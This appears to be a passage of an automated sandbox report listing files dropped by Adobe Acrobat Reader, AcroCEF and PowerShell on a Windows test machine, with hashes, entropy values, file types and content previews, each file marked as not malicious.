Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.282042189332911
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJf21rPeUkwRe9:YvXKXylZc0vuZG+16Ukee9
MD5:	A4EBDACA473A0872F49ACD513AC37548
SHA1:	795778C349D3C861E7E31DB7A8277A2D541D6497
SHA-256:	1668A6E1BAA31F5E76F141537DE7DF7F1DF399D44A4ABA7789B3F30761E01149
SHA-512:	37A2650C7AF8310FC81CB49D8DC19B1A9C8F9D74A99A771312C099E8048C2995DA34DBF67011C8EC0265BE952A845F18F56F8C901652F9D8735C50FFB1F50DBD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663148964784453
Encrypted:	false
SSDEEP:	24:Yv6XylzvuiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS8n:YvXW8BgkDMUJUAh8cvM8n
MD5:	7D15A04D4E8572D6C14F89FEF54BFEA6
SHA1:	B966B3A65CBAB6CD6B6ED50B7A6AD5867FA94640
SHA-256:	7244550F89961F9BF5FAF7F12D7305FEB7DE3124B368213D3DDB2111AF59460D
SHA-512:	F5360D464357A411A68CE9B153D837F888E8D74387C1E6ECBB3C1889A0DB0308C939FA1FD2020B96E502F22D492CC57C71DD248157E95EE6C44257F41B655C4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2586612111029005
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJfshHHrPeUkwRe9:YvXKXylZc0vuZGUUUkee9
MD5:	C219CE34C8B9A628001B6A071E61F50B
SHA1:	2DB342DD758E4DFABDE6B9D95D16BF22D96567F1
SHA-256:	9D8CF7F8DCA3738CAA140D0DA2696287B2754016BEC2A550C758C9D5538EA3BF
SHA-512:	5086AE929519D71A7A2331EFBFFF7528884BED03DD1FE2608FFBC90740285BCEF780B8B3B74095166BE01611EEA4E5FBEDAE2428888651F368137D864829DD1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.267856156805704
Encrypted:	false
SSDEEP:	6:YEQXJ2HX64uAuCQILWkVoZcg1vRcR0Y0Z4qoAvJTqgFCrPeUkwRe9:YvXKXylZc0vuZGTq16Ukee9
MD5:	D48BA8E13D5F00A3FC0EDF4E5EE68BB8
SHA1:	CE62E4D87E6706A64E04C9B1FBEC60D14F740DE9
SHA-256:	A1F1B68A18F30C4365138663F19359BFCEDAB3CD50EA4B3AD57A51FACD682F24
SHA-512:	B6DC39FBC95F075357752FDD6B134EDA9E313CC3B89E3DF33CE1E51AE8C4E9D7FE8A70E2D0972B70A61C34770199A1C21732D84BDE8474267C2F5F6706C99A7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d0a4f123-5066-4e71-b56b-8b2e6a9ca40e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742491779,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.129865043284895
Encrypted:	false
SSDEEP:	48:YgUADwqLGQV21GO9ErfJcy+2NqMMYP+h9IT:dN0pQ21GiELyUqfr/C
MD5:	9EA253F3CCD8890D40294073C9128A24
SHA1:	8B6876617CF7DC4520C7BF16D4F492CCE82328B9
SHA-256:	6A4648803794207375BC5596F25043AFE4CF88F48FBE577F993E097319FBAE45
SHA-512:	6883CCC8ECDB1F9900188E94837E4FA7F97DD236D29FCF7F09C2919B4E86C0FD3BDD1B949B8F1DB50B31E5C8DCE517908E9ED0EE720C59CA337C83F634BE64D2
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d60c490799f930f93d750622fe667513","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736562866000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"62689795ef51279b9ad7003dce0c1472","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736562866000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6e8235d651bf2f3d15422c346c36cb73","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736562866000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"521693953c7a3f952f328d0ff01ba7b6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736562866000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ed732e795822e165c7bf4f1e2374f660","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736562866000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0d21c5d81c74181b9d3cdc866c47523a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1893363017815137
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUl9SvR9H9vxFGiDIAEkGVvphJ:lNVmswUUUUUUUUP+FGSItP
MD5:	C7243BD22953A1C01AB278A180608994
SHA1:	BA41F77340B7DFBDFFEA79EF7DF2D3ACB0598252
SHA-256:	0DB2CE95B4B37CA98BD3F4477B193B1072B4394611E8D5B3E1D3C3EFDA71314E
SHA-512:	711B7DC5744C2FADF2E5832509E00A68E7AC9CB0049D7D41B1627A563012950C87A2596860B9BD208238F7E54BCAB2B83F62BEFEF24A504A7A47EA91C27E04FE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6079663639465565
Encrypted:	false
SSDEEP:	48:7MsKUUUUUUUUUUlFvR9H9vxFGiDIAEkGVvnqFl2GL7msq:7YUUUUUUUUUUjFGSItZKVmsq
MD5:	F4D89AA42ADED55A652DE7C4B41A02CF
SHA1:	EFBEAF30B5B40B7496F4682FD5C8479303AB8783
SHA-256:	13CCC1C06EB159BE7D879BC40EC18A649609602AB690B293D4F572A0DC421823
SHA-512:	6AA24852687DACC535550827E6760CC7D7424253553F50453473C4DDABDBA4F5CA9F5564F1E7B589E51238A803F15A00D68EB10E6F6A491CB9551037326EACBE
Malicious:	false
Preview:	.... .c.....`..4......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgdl9v6PC+3JyB5ocTfqXwzJASVYyu:6a6TZ44ADERv6PC+3Apq5SVK
MD5:	58103007B28CEED57724707108F92C95
SHA1:	E009DFFA68281DCE5F1B4C08D4D43FB8706109EB
SHA-256:	FC458A056CC9688D35020790231BD7898FF2DD63781A4A53736A081517037EB0
SHA-512:	A3E221AAE8D1AF486E1E3382BCCB3EBE69643674200668F4A9FCEB853BD20F1BC06B0B9CE3FA301BCEFDBC1F0E6B0A0C448C008E0AEFA76F110D015F677726B5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIfdb2f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCls2e9:Qw946cPbiOxDlbYnuRK+br
MD5:	F7C84228C67E61DBBAA54046D2D99CBC
SHA1:	7CC180FBDD6A102FBA7B62B89E74B246B0B51C12
SHA-256:	0B5F907C08C77BFB45F2341095FEE8838C5CB6291CED15CF41889B3F75B51D2F
SHA-512:	F1CA2B29C7609241EA4E0A82AE1642581693F5DB345FECFB73D70EEC937E41378168B45A8062AAA1C045552A72E9FF2CBAB5D115DD2C988DBE054B2DDA3C7678
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.3.4.:.2.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mb522t3m.i5c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xprap5b0.drj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-34-22-521.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3695454587279645
Encrypted:	false
SSDEEP:	384:wU6yU7WU7XU7WUUWUUrUU01UUnUURaUU4UUcUUdUUMUFFUFnUFuU4NU4XU4dU53I:P6BgBs7RaDo5YOf08OfB1nabYjGc664v
MD5:	F387EE33D2E4642D76C86CF94AAA93F8
SHA1:	AE917ED0798B3D60BB951F33D11EA537405F8C48
SHA-256:	F69C2DE416C2F854B8862A401D496A00A725C500ED5F297A9018852F0E989ED7
SHA-512:	75CBA605FDB9B686424C17CF7A30EA49A7BE01F807D5C3834885782CE59EAF42CA07DEE4B72D2A3CD59F596E6E19288BBDC6D222A063DD1C504E1A3833A19961
Malicious:	false
Preview:	SessionID=6ec33b3f-89c1-48b2-8aa8-369243f094c2.1736562862539 Timestamp=2025-01-10T21:34:22:539-0500 ThreadID=7640 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6ec33b3f-89c1-48b2-8aa8-369243f094c2.1736562862539 Timestamp=2025-01-10T21:34:22:541-0500 ThreadID=7640 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6ec33b3f-89c1-48b2-8aa8-369243f094c2.1736562862539 Timestamp=2025-01-10T21:34:22:541-0500 ThreadID=7640 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6ec33b3f-89c1-48b2-8aa8-369243f094c2.1736562862539 Timestamp=2025-01-10T21:34:22:541-0500 ThreadID=7640 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6ec33b3f-89c1-48b2-8aa8-369243f094c2.1736562862539 Timestamp=2025-01-10T21:34:22:542-0500 ThreadID=7640 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38712087524129
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2ra:Ro
MD5:	DCD5749A4BAFE341F93D641AD4BD84E7
SHA1:	0990252C2DB65DD49E053DB8A5EACC55219302C8
SHA-256:	016B1511742AF62231AE5F5A8D3DF5E85F4987DC5C3E8C5D6ED7FF3CFF7480D3
SHA-512:	40B37100FBBCAB8E84D88C82A809DFE567048B7560BA110992CA673FF99265401A35CFE22961A263927AF6FB054D6A7D0D64FCC93AA8920D8C6B2C9F16689CC5
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\045aac21-b379-4291-a92d-f4181d93485f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\784691e2-4b36-4937-bd2a-cbc2719097f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8ff73375-3e49-457f-bd1b-4a499576d31f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
